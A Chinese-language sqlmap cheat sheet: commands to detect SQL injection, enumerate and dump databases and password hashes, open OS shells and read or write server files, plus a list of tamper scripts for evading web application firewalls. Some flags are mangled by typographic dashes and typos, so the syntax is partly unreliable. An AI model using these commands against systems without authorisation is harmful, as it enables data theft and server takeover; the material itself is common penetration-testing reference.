SQLMAP 基本操作
- 判断是否存在注入
sqlmap.py -u “ http://url “ (注入点参数大于2时必须加双引号)
- 判断文本中的请求是否存在注入
抓包获取http
请求,将Web数据包存在test.txt
中sqlmap.py -r “test.txt”
- 查询当前用户下的所有数据库
sqlmap.py -u “ http://url “ –dbs
- 查询当前用户下A数据库的数据表
sqlmap.py -u “ http://url “ -D A –tables
- 查询当前用户下A数据库的B数据表的字段
sqlmap.py -u “ http://url “ -D A -T -B –columns
- 查询查询当前用户下A数据库的B数据表的c1,c2字段的内容
sqlmap.py -u “ http://url “ -D A -T -B -C c1,c2 –dump
- 获取数据库的所有用户
sqlmap.py -u “ http://url “ –users
- 获取数据库用户的密码
sqlmap.py -u “ http://url “ –passwords
- 获取当前数据库名称
sqlmap.py -u “ http://url “ –current-db
- 获取当前数据库的用户名称
sqlmap.py -u “ http://url “ –current-user
SQLMAP 进阶
命令参数使用
- 探测等级:
--level 5
- 当前用户是否为管理权限:
--is-dba
- 列出数据库管理员角色:
--roles
- HTTP Referer 头:
--referer
- 运行自定义SQL语句:
--sql-shell
- 运行任意操作系统命令:
--os-cmd
--os-shell
- 从数据库服务器中读取文件:
--file-read
- 上传文件到数据库服务器中:
--file-write
--file-dest
tamper 参数使用
格式: sqlmap.py -u “ http://url “ –tamper “模块名”
常用 tamper 脚本
- apostrophemask.py
将引号替换为UTF-8
,用于过滤单引号 - base64encode.py
替换为base64
编码 - multipleaspace.py
围绕 SQL 关键字添加多个空格 - space2plus.py
用+
号替换空格 - nonrecurisvereplacement.py
作为双重查询语句,用双重语句替代预定义sql关键字 - space2randomblank.py
将空格替换为其他有效字符 - unionalltounion.py
将union all select
替换为union select
- securesphere.py
追加特制字符串
使用前:1 and 1=1
使用后:1 and 1=1 and ‘0having=0having’ - space2hash.py
将空格替换为#
号,并添加一个随机字符串和换行符 - space2mssqlblank.py(mssql)
将空格替换为其他空符号 - space2mssqlhash.py
将空格替换为#
号,并添加一个换行符 - between.py
用not between 0 and
替换大于号(>
),用between and
替换等号(=
) - percentage.py
ASP 欲奴再每个字符前面添加一个%
号 - sp_password.py
从DBMS日志的自动模糊处理的有效载荷中追加sp_password - charencode.py
对给定的payload全部字符使用url
编码(已经编码字符串不处理) - randomcase.py
随机大小写 - charunicodeencode.py
字符串Unicode
编码 - space2comment.py
将空格替换为/**/
- equaltolike.py
将等号替换为like - greatest.py
绕过对>
号的过滤,用greatest
替换>
号 - ifnull2ifisnull.py
绕过对ifnull
的过滤,替换类似ifnull(a,b
)为if(isnull(a),b,a)
- modsecurityversioned.py
过滤空格,使用mysql内联注释的方式进行注入 - space2mysqlblank.py
将空格替换为其他空白符号(mysql) - modsecurityzeroversioned.py
使用mysql内联注释的方式进行注入(mysql5.0) - space2mysqldash.py
将空格替换为--
,并添加一个换行符 - bluecoat.py
sql语句之后用有效的随机空白符替换空格符,随后用like
替换=
号 - versionedkeywords.py
注释绕过 - halfversionedmorekeywords.py
当数据库为mysql时绕过防火墙,再每个关键字之前添加mysql版本注释 - space2morehash.py
将空格替换为#
号,并添加一个随机字符串和换行符 - apostrophenullencode.py
用非法双字节Unicode
字符替换单引号
- appendnullbyte.py
在有效负荷的结束为止加载零字节字符编码 - chardoubleencode.py
对给定的payload全部字符使用双重url编码(不处理已经编码的字符) - unmagicquotes.py
用一个多字节组合(%bf%27)和末尾通用注释一起替换空格 - randomcomments.py
用/**/分割sql关键字